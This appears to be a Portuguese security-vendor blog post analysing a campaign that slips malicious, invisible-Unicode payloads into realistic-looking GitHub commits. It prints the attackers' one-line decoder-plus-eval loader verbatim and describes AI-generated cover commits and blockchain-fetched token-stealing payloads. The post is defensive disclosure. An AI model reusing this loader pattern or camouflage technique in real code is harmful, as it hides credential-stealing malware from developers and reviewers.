Aikido

O Retorno da Ameaça Invisível: PUA Unicode Oculto Atinge Repositórios GitHub

Escrito por
Ilyas Makari

Não faz muito tempo que descobrimos extensões comprometidas no Open VSX . Agora, uma nova onda de ataques está surgindo, e todos os sinais apontam para o mesmo ator de ameaça.

A técnica parecerá familiar: código malicioso oculto injetado com caracteres invisíveis da Área de Uso Privado (PUA) do Unicode. Vimos esse truque pela primeira vez em março quando pacotes npm usaram PUAs para ocultar payloads. Depois veio o Open VSX. Agora, o atacante parece ter voltado sua atenção para o GitHub, e seus métodos estão evoluindo. A entrega está ficando mais inteligente, mais furtiva e muito mais enganosa.

Cronograma da Campanha de Código Invisível

  • Março – Aikido descobre pela primeira vez pacotes npm maliciosos ocultando payloads usando caracteres Unicode PUA
  • Maio – Publicamos um blog detalhando os riscos do Unicode invisível e como ele pode ser abusado em ataques à Supply chain
  • 17 de Outubro – Descobrimos extensões comprometidas no Open VSX usando a mesma técnica;
  • 18 de Outubro - Koi Security analisa o malware e o payload, nomeando-o Glassworm
  • 31 de Outubro – Descobrimos que os atacantes mudaram o foco para os repositórios do GitHub

Furtividade por Design

Fomos alertados pela primeira vez sobre esta nova onda quando um desenvolvedor nos contatou após notar algo estranho: vários de seus próprios repositórios GitHub haviam sido atualizados, por ele, pelo menos de acordo com o histórico de commits. Os commits pareciam legítimos. Eles continham atualizações de recursos realistas, pequenos refactors e até mesmo correções de bugs que correspondiam ao estilo de codificação e às mensagens de commit do projeto. Exceto por uma diferença, o e-mail do committer estava definido como nulo. Mas no final desses commits, cada um tinha uma única e idêntica adição:

const d=s=>[...s].map(c=>(c=c.codePointAt(0),c>=0xFE00&&c<=0xFE0F?c-0xFE00:c>=0xE0100&&c<=0xE01EF?c-0xE0100+16:null)).filter(b=>b!==null);eval(Buffer.from(d(``)).toString('utf-8'));

Você consegue identificar o malware? À primeira vista, é difícil perceber o que está acontecendo, mas o que se destaca é a eval chamada, que é frequentemente usada para executar código dinamicamente. Apenas a entrada para eval parece vazia. No entanto, a string vazia passada para d() em eval não está vazia de forma alguma. Ela contém caracteres Unicode invisíveis, código oculto codificado com símbolos de Private Use Area, assim como nos incidentes anteriores do npm e Open VSX.

Desta vez, no entanto, a entrega é muito mais sutil. Tudo foi compactado em uma única linha, deixando quase nenhuma pista visual. O código malicioso está inserido no que parece ser uma atividade normal do projeto, oculto dentro de commits legítimos.

É possível que as alterações aparentemente benignas tenham sido geradas por IA para tornar os commits mais convincentes. Como esses commits eram muito específicos do projeto, isso sugere que o atacante pode ter utilizado modelos de linguagem grandes (large language models) para criar alterações de código realistas e sensíveis ao contexto, usando efetivamente a IA para camuflar seu payload dentro da atividade de desenvolvimento comum.

Os caracteres PUA decodificados levam a um script que parece muito semelhante às amostras do Open VSX, o que sugere que provavelmente estamos lidando com o mesmo ator de ameaça. O script decodificado parece usar Solana como canal de entrega, buscando e executando um payload da blockchain. Com base nos incidentes do Open VSX, esses payloads têm sido capazes de roubar tokens e outros Secrets. Se credenciais ou tokens de CI forem coletados, eles poderiam ser reutilizados para enviar o mesmo payload em outros repositórios, o que, por sua vez, poderia permitir uma propagação semelhante a um worm, como vimos em ataques anteriores.

Sinais de um Ataque Maior

Após identificar o padrão malicioso, começamos a procurar se o mesmo payload aparecia em outros lugares. Uma rápida busca no GitHub pelo padrão rapidamente revelou outros repositórios mostrando a mesma linha suspeita.

Nesses projetos, um novo commit havia sido enviado que parecia totalmente legítimo à primeira vista. Os commits continham alterações normais, como atualizações de documentação, aumentos de versão e pequenas melhorias de código, mas cada um também incluía o mesmo payload oculto anexado ao final de um arquivo.

Por enquanto, esta campanha parece estar limitada a projetos JavaScript hospedados no GitHub. Não observamos quaisquer sinais de comprometimentos semelhantes no npm ou em outros ecossistemas, embora estejamos monitorando-a de perto, já que o mesmo atacante pode tentar expandir seu alcance.

Ameaças em Evolução, Defesas Mais Inteligentes

Esses incidentes destacam a necessidade de uma maior conscientização sobre o uso indevido do Unicode, especialmente os perigos dos caracteres invisíveis de Private Use Area. Os desenvolvedores só podem se defender contra o que podem ver, e atualmente a maioria das ferramentas não lhes mostra o suficiente. Nem a interface web do GitHub nem o VS Code exibiram qualquer sinal de que algo estava errado. Em casos anteriores, como os ataques do Open VSX, algumas IDEs mostraram indicadores sutis ao lado dos caracteres ocultos, mas essas salvaguardas estavam ausentes aqui.

Embora esta técnica não seja nova, ela está claramente evoluindo. Ameaças anteriores como Shai Hulud simplesmente injetavam scripts postinstall maliciosos, tornando-os relativamente fáceis de detectar. Agora, os atacantes estão misturando código malicioso com commits realistas e melhorias específicas do projeto, possivelmente auxiliados por IA para fazer com que suas alterações pareçam naturais. É um sinal de para onde o cenário de ameaças está caminhando.

Na Aikido, estamos nos adaptando a essa mesma evolução. Utilizamos modelos de linguagem grandes (large language models) entre outros sistemas de detecção para identificar essas ameaças cada vez mais sutis. À medida que os atacantes adotam a IA para ocultar suas intenções, nossas defesas precisam se tornar igualmente inteligentes para desvendá-las.

Compartilhar:

https://www.aikido.dev/blog/the-return-of-the-invisible-threat-hidden-pua-unicode-hits-github-repositorties

Assine para receber notícias sobre ameaças.

Comece hoje, gratuitamente.

Comece Gratuitamente
Não é necessário cc

Fique seguro agora

Proteja seu código, Cloud e runtime em um único sistema centralizado.
Encontre e corrija vulnerabilidades rapidamente de forma automática.

Não é necessário cartão de crédito | Resultados da varredura em 32 segundos.